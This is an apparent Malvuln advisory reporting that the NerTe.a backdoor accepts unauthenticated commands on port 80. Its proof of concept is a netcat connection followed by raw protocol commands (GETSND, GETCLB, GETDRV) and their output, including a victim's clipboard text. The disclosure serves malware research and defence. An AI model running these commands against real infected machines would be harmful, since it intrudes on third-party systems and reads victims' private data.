Backdoor.Win32.NerTe.a / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an
executable under Windows dir. Third-party attackers who can reach infected
systems can connect to port 80 and run commands made available by the
backdoor to retrieve information etc
Type: PE32
MD5: 125364b0cdae80c10f00b75c8e2cfa47
Vuln ID: MVID-2021-0286
Dropped files: TaskMonitors.exe
Disclosure: 07/12/2021


Exploit/PoC:
nc64.exe x.x.x.x 80

VERSIJ7.9.0_b2_ntñnoñVictimñDESKTOP-2C4JQHO╢GETSND

Get Sounds)
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢

Get Clipboard data)
GETCLB
GETCLB*************** Clipboard **************ñTomorrow West broadway and
29thñ*************** End **************╢

nd **************╢GETRST
MSGERRYour client too old.
Please update from:
http://nerte.free-hosting.lt

MSGUnknown command╢GETDRV
GETDRVC:\?D:\╢GETCOL


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